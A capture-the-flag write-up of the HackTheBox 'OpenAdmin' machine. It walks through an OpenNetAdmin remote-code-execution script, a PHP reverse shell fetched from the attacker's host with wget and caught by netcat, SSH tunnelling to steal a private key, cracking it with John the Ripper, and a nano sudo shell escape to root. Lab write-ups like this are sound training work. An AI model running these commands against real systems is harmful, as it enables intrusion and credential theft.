HackTheBox - OpenAdmin - Writeup
Posted July 4, 2021 by Mark O'Kane ‐ 14 min read
As part of HackTheBox’s “Take it Easy” challenge for July 2021, I’m working through and writing up each one of the retired Easy boxes that have been made available. In this writeup, I’ll cover my approach at beating OpenAdmin. I’ll be using Kali 2021.2 for this lab.
Enumeration
Nmap
We start off here with an Nmap scan of the target host.
We’re running an aggressive scan here (-A), with a speed of 4 (-T4), application version guessing (-sV) and outputting to the file nmap.txt for review later (-oN nmap.txt)
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ nmap -A -T4 10.10.10.171 -sV -oN nmap.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-02 08:22 EDT
Nmap scan report for 10.10.10.171
Host is up (0.015s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf🇩🇪bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds
We have 2 services running - http on port 80 and ssh on port 22. We learn that the p80 is running an Apache web server version 2.4.29
A quick check of the apache version in Exploit-DB with Searchsploit doesn’t reveal any useful exploitations.
$ searchsploit apache 2.4
In our browser, we’ll navigate to the http webpage running on port 80.
It’s the default Apache2 Ubuntu webpage. On this occasion, it doesn’t reveal anything useful to help us at this stage of our enumeration.
In order to progress any further, we’ll use Gobuster to enumerate some hidden web directories.
Gobuster
We’ll set Gobuster running in directory mode with a the dirbuster medium wordlist found in /usr/share/wordlists.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ gobuster dir -u http://10.10.10.171:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.171:80
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/07/02 08:27:20 Starting gobuster in directory enumeration mode
===============================================================
/music (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/]
/server-status (Status: 403) [Size: 277]
===============================================================
2021/07/02 08:33:35 Finished
===============================================================
We find 3 accessibly web directories called music, artwork and sierra.
Back in our browser, we’ll check out each one of these one by one.
Starting with the first one on the list - music - it looks like we have the makings of a music streaming service.
Navigating arounf the various menus at the top and items on each page, we find a lot of circular links not leading to anywhere new. None of these pages reveal much useful information either.
The last thing we’ll try is the login button on the top right of the page. If we find a login screen we can potential try to brute force our way in or find an injection vulnerability to exploit.
Instead of a login screen, we find something very interesting. Looking at the webpage title on the tab, it appears to have taken us to a system called OpenNetAdmin.
Looking around this screen, it appears to be an IP Address Management system. A google search of OpenNetAdmin confirms this.
In terms of IPAM data we don’t find much stored here, only the DNS domain OpenAdmin.htb which we already know we’re on.
We see a warning stating “You are NOT on the latest version” and a listing of the current version v18.1.1. If the software is out of date, there’s a good chance there might be vulnerabilities and even readily available exploits out there.
Searchsploit
We’ll run searchsploit again and see if we’ve got anything from Exploit-DB held locally.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ searchsploit opennetadmin
----------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Just searching for OpenNetAdmin, we find two Remote Code Execution results with the exact version 18.1.1. listed - one for metasploit and one shell script for manual use.
Foothold
For the purposes of learning, we’ll stick to manual methods in order to exploit this machine. Though metasploit is excellent and can make a lot of tricky exploitation easy, it’s beneficial to understand the underlying techniques too.
We’ll take a copy of the shell script to our working directory and give it a new name.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ cp /usr/share/exploitdb/exploits/php/webapps/47691.sh openadmin.sh
If we open up the openadmin.sh using our text editor, we learn a bit about the script.
We see it accepts one argument - the url of the target. It then within a while loop prompts the user for commands, exploits the RCE vulnerability and executes the command on the target, then writes the output back to the attackers command line.
Initially trying to run this script, it didn’t like the formatting. After a bit of googling, I decided to try the dos2unix command on the script.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ dos2unix openadmin.sh
dos2unix: converting file openadmin.sh to Unix format...
Sometimes when a script is created and uploaded from a windows machine, it contains hidden formatting characters that we can’t see but Unix struggles to parse. Once I’d done this and attempted to run the script again, it worked fine:
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ ./openadmin.sh http://10.10.10.171/ona/
$ whoami
www-data
php-reverse-shell
While we’ve successfully got remote code execution on the target, we now need a stable shell.
As the OpenNetAdmin RCE script drops us in the /ona directory of the webpage, we’ll be able to use pentestmonkey’s php-reverse-shell to get a stable shell. A copy can be found already saved locally in Kali’s /usr/share. Copy this over to your working directory, then open in your text editor of choice
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php openadmin.php
We’ll need to update the php file with our local IP address and a local port that we’re going to run a netcat listener on (4445 in my case).
In order to execute the reverse shell, we first need to get this file onto the target machine. We set up a python http server from our working directory where the php file is currently.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.171 - - [02/Jul/2021 09:56:18] "GET /openadmin.php HTTP/1.1" 200 -
Then from the shell we started earlier, we use wget to grab the file from our attacker webserver.
$ wget http://10.10.14.82:80/openadmin.php
Before we execute the file, we’ll need to set a netcat listener running.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ nc -nvlp 4445
listening on [any] 4445 ...
With the file now in the directory of /ona, we simply navigate to the file in our browser at http://
If we check back to our netcat listener, we should now have a shell:
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.171] 49620
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
14:09:18 up 1:52, 1 user, load average: 0.04, 0.07, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jimmy pts/0 10.10.14.239 13:48 60.00s 0.15s 0.15s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Lateral
While we now have a stable shell as www-data, this isn’t enough to get a user flag.
If we check the home directory of the OpenAdmin box, we find two users - Jimmy and Joanna. At present, we’re unable to access either.
Enumeration
In the /opt/ona/www folder we land in, there are a lot of files to check out.
$ ls
config
config_dnld.php
dcm.php
images
include
index.php
local
login.php
logout.php
modules
openadmin.php
plugins
winc
workspace_plugins
Straight away we want to see what are in those config files. Unfortunately, nothing of value there.
There’s a folder called local. If we cd into that folder we find another folder called config.
Checking inside the config folder we find an interesting file called database_settings.inc.php.
$ ls
database_settings.inc.php
motd.txt.example
run_installer
$ cat database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => '************',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>
Inside this database config file we find a password (obfuscated above).
As is common (and bad) practice, we often see alot of cases of password reuse. If a password is used somewhere, there’s a good chance it’s used somewhere else too.
SSH
From earlier, we know that SSH is open on port 22. We’ve got 2 users - Jimmy and Joanna - and now one password. We’ll try logging in with this password as both Jimmy and Joanna.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ ssh jimmy@10.10.10.171
...
jimmy@10.10.10.171's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
...
...
Last login: Fri Jul 2 14:39:31 2021 from 10.10.14.159
jimmy@openadmin:~$
We try jimmy first and we have success!
I’ve also tried Joanna, however didn’t have the same fortune.
With an SSH session as Jimmy, we’ll check out his home folder now to see if we can find the user flag.
No luck here, it looks like Joanna is the one hiding our user flag. Jimmy doesn’t have the privileges to access her home directory.
More Enumeration
In order to move laterally as from Jimmy to Joanna, we’ll need to do some more enumeration of the box.
After a bit of looking around, we eventually find something interesting in /var/www.
$ ls -la /var/www
total 16
drwxr-xr-x 4 root root 4096 Nov 22 2019 .
drwxr-xr-x 14 root root 4096 Nov 21 2019 ..
drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/www
We see a html folder, this contains all of the web pages we saw when we started this box. More interestingly, we find a directory owned by our current user Jimmy.
jimmy@openadmin:/var/www/internal$ ls -la
total 28
drwxrwx--- 2 jimmy internal 4096 Jul 2 14:51 .
drwxr-xr-x 4 root root 4096 Nov 22 2019 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php
We have a few php files in this directory. If we cat
these files, we learn some information, particularly in the main.php file.
jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
This looks like when the php file is executed, it accesses Joanna’s ssh private key and echo’s the result.
If this webpage is active and running on the server, we can curl
main.php and hopefully gain Joanna’s private key to sign in as her.
Netstat
In order to establish if this “Internal” webserver is running, we can use netstat. We’ll use the flags -a to show all sockets, -n to display ip addresses/not resolve dns names and -t for tcp.
jimmy@openadmin:/var/www/internal$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 10.10.10.171:22 10.10.14.159:57514 ESTABLISHED
tcp 0 0 10.10.10.171:22 10.10.14.82:46382 ESTABLISHED
tcp 0 0 10.10.10.171:22 10.10.14.239:53420 ESTABLISHED
tcp 0 0 10.10.10.171:38376 10.10.14.82:4445 ESTABLISHED
tcp 0 0 10.10.10.171:22 10.10.14.159:57564 ESTABLISHED
tcp 0 0 10.10.10.171:22 10.10.14.159:57240 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 10.10.10.171:80 10.10.14.82:44084 ESTABLISHED
tcp6 0 0 10.10.10.171:80 10.10.14.169:53502 TIME_WAIT
tcp6 0 0 10.10.10.171:80 10.10.14.82:44140 ESTABLISHED
We see 3 services running internally on this machine. We have DNS on 127.0.0.53:53, (likely) MySQL running on its default port 3306 and something running on an unknown high port 52846.
This service on port 52846 could be our internal web server. In order to check it out, we’ll set up port forwarding via ssh.
SSH Tunnelling
Using SSH and Jimmy’s login credentials, we’ll redirect local port 4447 (or whichever port you choose) to the internal webserver via an SSH tunnel.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ ssh -L 4447:127.0.0.1:52846 jimmy@10.10.10.171
If we now navigate to http://localhost:4447 in our browser:
We successful reach the internal webpage and see index.php displayed.
Now if we curl http://localhost:4447/main.php
we get Joanna’s rsa key returned as expected:
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ curl http://localhost:4447/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
********
********
********
********
********
********
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
I’ve stripped the actual key above for the purposes of the writeup. There’s also a text clue here, referring to a “ninja” password. This prompted me to try James' password from earlier with the private key, but no luck.
John the Ripper
We’ll copy and paste the RSA Private key into a text file and call it id_rsa.
As it’s encrypted, we’ll need to use John the Ripper to crack it.
Before we can, we’ll need to convert the key into a format that John understands. For this, there’s a python script call ssh2john.py.
┌──(kali㉿kali)-[~/htb/openadmin]
└─python /usr/share/john/ssh2john.py id_rsa > joanna.hash
We can now run John against the hash:
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ john joanna.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
********** (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2021-07-02 11:39) 0.1992g/s 2856Kp/s 2856Kc/s 2856KC/sa6_123..*7¡Vamos!
Session completed
We successfully crack the key (***********’d out above) and as suggested, it is indeed ninja related.
OpenSSL
In order to successfully access Joanna’s account via SSH, we’ll need to generate a new, unlocked RSA key using the private key and the password we’ve recovered from the hash.
Openssl is a handy tool to achieve this:
┌──(kali㉿kali)-[~/htb/openadmin]
└─openssl rsa -in id_rsa -out unlocked_rsa
Enter pass phrase for id_rsa:
writing RSA key
Now if we use this key with SSH, we should be able to log in as Joanna.
┌──(kali㉿kali)-[~/htb/openadmin]
└─$ ssh -i unlocked_rsa joanna@10.10.10.171
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
...
...
Last login: Fri Jul 2 15:03:47 2021 from 10.10.14.159
joanna@openadmin:~$
This drops us in Joanna’s home folder where we’ll find the user flag.
Privilege Escalation
Now we’ve got user, it’s onto finding the root flag. In order to elevate to root, there’s normally to things that are key to look for -
- Current user’s sudo privileges
- Files that can be run with root privileges
First thing we try is sudo -l
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
This looks good, joanna can execute the nano text editor in /bin/nano as root to edit a file called /opt/priv/.
If we have a look at /opt/priv, it seems to be an empty text file.
A good resource for privesc and how it can be acheived with various binaries is gtfobins.
If we checkout gtfobins for nano, it looks like we can spawn a shell from nano using the following:
^R^X
reset; sh 1>&0 2>&0
If we spawn a shell from nano as sudo, the shell we spawn will be root.
If we try it out:
We have root!
As always, the root flag can easily be found in the /root directory. If we wanted to spawn a more stable shell from here and establish persistence, we could.
Conclusion
For an “Easy” box, I would still consider this one a challenge. It certainly took a lot of time manually, with most of the work going into lateral movement to acheive control of the Joanna user. Once Joanna was compromised, root was very quick and easy. This probably could have been managed much sooner using some automated scripts, such as LinPEAS.sh to enumerate the box for interesting files and passwords, however it was well worth the time exploring manually. I’m confident there will have been a few different and interesting ways to have acheived User, this was just the journey I found.
As always, thanks for reading!